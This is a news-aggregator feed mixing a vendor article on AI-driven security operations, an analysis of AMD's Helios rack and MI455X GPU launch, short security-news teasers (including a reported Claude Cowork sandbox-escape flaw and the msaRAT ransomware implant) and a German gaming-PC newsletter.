<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Enterprise security at machine speed: AWS Black Hat 2026 preview]]></title>
<description><![CDATA[Black Hat 2026 (Aug 1-6, 2026) brings together over 22,000 security practitioners, researchers, and CISOs who build, break, and defend enterprise infrastructure. They’re security professionals who push the limits of offensive and defensive security and demand proof over promises. As…
Read more →
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<link>https://tsecurity.de/de/3689707/it-security-nachrichten/enterprise-security-at-machine-speed-aws-black-hat-2026-preview/</link>
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<pubDate>Thu, 23 Jul 2026 18:43:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Hat 2026 (Aug 1-6, 2026) brings together over 22,000 security practitioners, researchers, and CISOs who build, break, and defend enterprise infrastructure. They’re security professionals who push the limits of offensive and defensive security and demand proof over promises. As…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/enterprise-security-at-machine-speed-aws-black-hat-2026-preview/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/enterprise-security-at-machine-speed-aws-black-hat-2026-preview/">Enterprise security at machine speed: AWS Black Hat 2026 preview</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[French Court Orders Google and Cloudflare to Block Piracy Sites, Sparking Internet Freedom Debate]]></title>
<description><![CDATA[  A French court ruled that upstream internet intermediaries, including Google and Cloudflare, must block access to certain websites engaged in piracy and illegal streaming upon the request of the sports rights holders. The ruling holds intermediaries responsible for the…
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<link>https://tsecurity.de/de/3689705/it-security-nachrichten/french-court-orders-google-and-cloudflare-to-block-piracy-sites-sparking-internet-freedom-debate/</link>
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<pubDate>Thu, 23 Jul 2026 18:43:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>  A French court ruled that upstream internet intermediaries, including Google and Cloudflare, must block access to certain websites engaged in piracy and illegal streaming upon the request of the sports rights holders. The ruling holds intermediaries responsible for the…</p>
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<p>The post <a href="https://www.itsecuritynews.info/french-court-orders-google-and-cloudflare-to-block-piracy-sites-sparking-internet-freedom-debate/">French Court Orders Google and Cloudflare to Block Piracy Sites, Sparking Internet Freedom Debate</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Is Patching Dead? Vulnerability Management in the Post-Mythos Era]]></title>
<description><![CDATA[You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…
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<link>https://tsecurity.de/de/3689512/it-security-nachrichten/is-patching-dead-vulnerability-management-in-the-post-mythos-era/</link>
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<pubDate>Thu, 23 Jul 2026 17:41:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>You cannot out-patch a machine that writes a working exploit from a vulnerability description in twenty hours. Stop trying to optimize a game you cannot win. The post Is Patching Dead? Vulnerability Management in the Post-Mythos Era appeared first on…</p>
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<p>The post <a href="https://www.itsecuritynews.info/is-patching-dead-vulnerability-management-in-the-post-mythos-era/">Is Patching Dead? Vulnerability Management in the Post-Mythos Era</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zwei RTX 5090 für die HMX 6 und Zeitreise zur Höllenmaschine 4 mit vier GPUs]]></title>
<description><![CDATA[Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier G...]]></description>
<link>https://tsecurity.de/de/3689498/it-nachrichten/zwei-rtx-5090-fuer-die-hmx-6-und-zeitreise-zur-hoellenmaschine-4-mit-vier-gpus/</link>
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<pubDate>Thu, 23 Jul 2026 17:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Hallo, ich bin der Michi, willkommen zur vierten Ausgabe des HMX-6-Newsletters. Diese Woche erfahrt ihr, welche Grafikkarten wir in der HMX 6 verbauen. Außerdem verraten wir, warum Halo das Design der HMX 6 prägen wird. Außerdem reisen wir zurück ins Jahr 2012 zur Höllenmaschine 4, die mit vier Grafikprozessoren neue Maßstäbe beim Gaming setzte. Wenn ihr keine Ausgabe verpassen wollt, könnt ihr den <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">Newsletter kostenlos abonnieren</a> – aber vergesst nicht, die Anmeldung via E-Mail zu bestätigen. Viel Spaß beim Lesen!</p>



<p>Hier geht es direkt <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">zum Gewinnspiel der HMX 6 im Gesamtwert von 40.000 Euro</a>. </p>



<h2 class="wp-block-heading toc">HMX 6: 2x RTX 5090 von ZOTAC GAMING und Halo-Design</h2>



<p>Jetzt können wir endlich verraten, welche Grafikkarten in der HMX 6 stecken: Als primäre Gaming-Grafikkarte der HMX 6 ist die RTX 5090 AMP Extreme INFINITY gedacht, während wir parallel dazu die RTX 5090 ARCTICSTORM AIO für <a href="https://store.steampowered.com/app/993090/Lossless_Scaling/" target="_blank" rel="noreferrer noopener">verlustfreie Skalierung</a> verwenden, um Bildqualität und -wiederholrate in praktisch jedem Videospiel zu verbessern. Natürlich könnt ihr die gebündelte Kraft der zwei 5090 auch im kreativen Einsatz nutzen, etwa beim 3D-Rendering oder KI-Berechnungen. Hier findet ihr alle Informationen zu den <a href="https://www.pcwelt.de/article/3193773/hoellenmaschine-hmx-6-mit-zwei-rtx-5090-von-zotac-gaming.html" target="_blank" rel="noreferrer noopener">zwei ZOTAC-Grafikkarten</a>. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c25ef"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/ZOTAC-600.jpg?quality=50&amp;strip=all" alt="ZOTAC 600" class="wp-image-3196875" width="600" height="577" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">ZOTAC</p></div>



<p>Eigentlich wollten Kris und ich euch diese Woche schon den aktuellen Stand des Casecon im <a href="https://www.pcwelt.de/article/3194747/hoellenmaschine-hmx-6-im-halo-campaign-evolved-design.html" target="_blank" rel="noreferrer noopener">Halo-Design</a> zeigen. Doch unserem Modder <a href="https://dcmm.de/media/uploads/2023/04/SIEGER_POKAL_012.jpg" target="_blank" rel="noreferrer noopener">Stefan Ulrich</a> fehlen noch diverse Materialien. Jetzt fahren wir wahrscheinlich nächste Woche, doch die Zeit drängt schon wieder, denn wir wollen ja auf die Gamescom mit der HMX 6.</p>



<h2 class="wp-block-heading toc">Rückblick: Die Höllenmaschine 4 setzte technische und optische Maßstäbe</h2>



<p>Neue Maßstäbe setzten wir 2012 auch bei der Vermarktung der Höllenmaschine 4 – zumindest für unsere Verhältnisse: vier aufwendig produzierte <a href="https://www.youtube.com/watch?v=uY7XIARRvZw&amp;t=1s">Teaser-Videos</a> mit Engelchen und Teufelsdamen sowie Fritz als Padawan von Obi-Wan Michi. Das hat riesigen Spaß gemacht und uns als Team Hölle zusammengeschweißt – und war der Beginn einer wunderbaren Freundschaft. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c2e99"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HM4-600.jpg?quality=50&amp;strip=all" alt="HM4 600" class="wp-image-3196869" width="600" height="563" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
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<p>Technisch auf der Höhe der Zeit waren wir mit den beiden Grafikkarten ASUS GTX690-4GD5, die jeweils zwei 915 MHz schnelle Nvidia Geforce GTX 690 beherbergten. Vier Grafikprozessoren gleichzeitig waren damals absoluter Wahnsinn und sorgten regelmäßig für offene Münder. Dazu gab es den Sechskerner Intel Core i7-3960X, 64 GB RAM im Vierkanalmodus, mit der OCZ RevoDrive die erste PCIe-SSD in einer Höllenmaschine und mit 10 Terabyte natürlich auch wieder verrückt viel HDD-Speicherplatz.</p>



<p>Sein höllisch gutes Aussehen verdankt das Gehäuse den international bekannten Casemoddern <a href="https://www.babetech.de/index.php/ueber-uns">Martin und Stefan Blass</a>. Sie haben ins Cooler Master Cosmos II ein Sichtfenster gefräst und per Airbrush lodernde Flammen auf die beiden Flügeltüren gezaubert. ARGB war damals noch kein Thema, aber mit dem Multidimmer von Richter waren immerhin individuelle Farbtöne und -wechsel per IR-Fernbedienung möglich. Hier geht es zum liebevoll restaurierten <a href="https://www.pcwelt.de/article/3188806/vor-14-jahren-pc-welt-verlost-hoellenmaschine-4-fuer-13333-euro.html" target="_blank" rel="noreferrer noopener">Artikel zur Höllenmaschine 4 aus 2012</a>.</p>



<h2 class="wp-block-heading toc">Maus mit Noctua-Lüfter und Steam Machine im Praxis-Test </h2>



<p>Diese Woche ist eine skurrile Mail in meinem Postfach gelandet: Pulsar und Noctua präsentieren stolz die Früchte ihrer Zusammenarbeit: die <a href="https://www.noctua.at/en/news/pulsar-and-noctua-release-feinmann-f01-noctua-edition-gaming-mouse">Feinmann F01 Noctua Edition</a>, eine Gaming-Maus mit aktiver Belüftung der Handflächen. Ich bin gespannt, wer sich über kühlere Handflächen beim Zocken freut.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a6233f4c38f4"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Feinmann-F01-Noctua-Edition.jpg?quality=50&amp;strip=all" alt="Feinmann F01 Noctua Edition" class="wp-image-3196763" width="600" height="600" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
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<p>Mein Kollege und Namensvetter Michael Crider hat sich die kostspielige (<a href="https://www.pcwelt.de/article/3172820/steam-machine-valves-konsole-kostet-ab-1039-euro.html">ab 1.039 Euro</a>) Steam Machine gekauft und einem <a href="https://www.pcwelt.de/article/3194800/steam-machine-im-praxistest-ganz-nett-aber-leider-enttaeuschend.html" target="_blank" rel="noreferrer noopener">ausführlichen Praxistest</a> unterzogen. Sein Fazit fällt allerdings ernüchternd aus: Ein günstiger Mini-PC mit selbst installiertem SteamOS bietet derzeit nahezu denselben Nutzen für deutlich weniger Geld.</p>



<p>Warum es ein Problem ist, dass <a href="https://www.pcwelt.de/article/3193615/in-neuen-laptops-kommen-alte-cpus-zum-einsatz-das-ist-ein-problem.html" target="_blank" rel="noreferrer noopener">in neuen Laptops alte CPUs zum Einsatz kommen</a>, erklärt mein Kollege Mark Hachman.  </p>



<h2 class="wp-block-heading toc">Vielen Dank fürs Lesen!</h2>



<p>ommende Woche besuchen Kris und ich endlich unseren Modder Stefan, der uns dann hoffentlich schon das fast fertige Tisch-PC-Gehäuse für die Build-Week präsentiert – immer optimistisch bleiben, denn langsam drängt die Zeit. Außerdem reisen wir zurück ins Jahr 2013 zur legendären Höllenmaschine 5 mit den vielen Totenköpfen. Wenn ihr nichts verpassen wollt, abonniert den <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">kostenlosen HMX-6-Newsletter</a> – und denkt daran, eure Anmeldung per E-Mail zu bestätigen. Ich freue mich schon auf nächste Woche – bis dann! Euer Michi.</p>

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<title><![CDATA[Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files]]></title>
<description><![CDATA[Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic’s Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on…
Read more →
The post Claude Cowork Flaw Could Le...]]></description>
<link>https://tsecurity.de/de/3689490/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689490/it-security-nachrichten/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/</guid>
<pubDate>Thu, 23 Jul 2026 17:24:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers have uncovered a sandbox escape vulnerability in Anthropic’s Claude Cowork that makes it possible to break out of the confines of a Linux virtual machine (VM) within which the agent runs to read or write files anywhere on…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/claude-cowork-flaw-could-let-ai-agent-escape-its-vm-and-access-mac-files/">Claude Cowork Flaw Could Let AI Agent Escape Its VM and Access Mac Files</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim’s own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor. The implant never opens an outbound connection…
Read more →
The post Chaos R...]]></description>
